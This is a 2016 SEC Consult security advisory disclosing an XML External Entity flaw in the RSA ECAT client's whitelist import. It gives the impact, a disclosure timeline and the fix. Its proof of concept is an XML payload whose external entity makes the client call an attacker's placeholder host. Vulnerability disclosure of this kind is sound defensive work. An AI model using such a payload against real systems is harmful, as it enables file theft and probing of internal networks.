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SEC Consult Vulnerability Lab Security Advisory < 20161011-0 > ======================================================================= title: XML External Entity Injection (XXE) product: RSA Enterprise Compromise Assessment Tool (ECAT) vulnerable version: 4.1.0.1 fixed version: 4.1.2.0 CVE Number: - impact: Medium homepage: https://www.rsa.com found: 2016-04-27 by: Samandeep Singh (Office Singapore) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Montreal - Moscow Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "RSA provides more than 30,000 customers around the world with the essential security capabilities to protect their most valuable assets from cyber threats. With RSA'saward-winning products, organizations effectively detect, investigate, and respond to advanced attacks; confirm and manage identities; and ultimately, reduce IP theft, fraud, and cybercrime." Source: https://www.rsa.com/en-us/company/about Business recommendation: ------------------------ By exploiting the XXE vulnerability, an attacker can get read access to the filesystem of the user's system using RSA ECAT client and thus obtain sensitive information from the system. It is also possible to scan ports of the internal hosts and cause DoS on the affected host. SEC Consult recommends not to use the product until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1) XML External Entity Injection The used XML parser is resolving external XML entities which allows attackers to read files and send requests to systems on the internal network (e.g port scanning). The vulnerability can be exploited by tricking the user of the application to import a whitelisting file with malicious XML code. Proof of concept: ----------------- 1) XML External Entity Injection (XXE) The RSA ECAT client allows users to import whitelisting files in XML format. By tricking the user to import an XML file with malicious XML code to the application, it's possible to exploit an XXE vulnerability within the application. For example by importing the following XML code, arbitrary files can be read from the client's system. The following code generates the connection request from the client system to attacker system. =============================================================================== <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://[IP:port]/" >]><foo>&xxe;</foo> =============================================================================== IP:port = IP address and port where the attacker is listening for connections Furthermore some files can be exfiltrated to remote servers via the techniques described in: https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf Vulnerable / tested versions: ----------------------------- The XXE vulnerability has been verified to exist in the RSA ECAT software version 4.1.0.1 which was the latest version available at the time of discovery. Vendor contact timeline: ------------------------ 2016-04-28: Vulnerabilities reported to the vendor by 3rd party 2016-06-23: Fixed by vendor in version 4.1.2 (ECAT-5972) 2016-10-11: SEC Consult releases security advisory Solution: --------- Update to version 4.1.2.0 Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Montreal - Moscow Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF S. Singh / @2016 |
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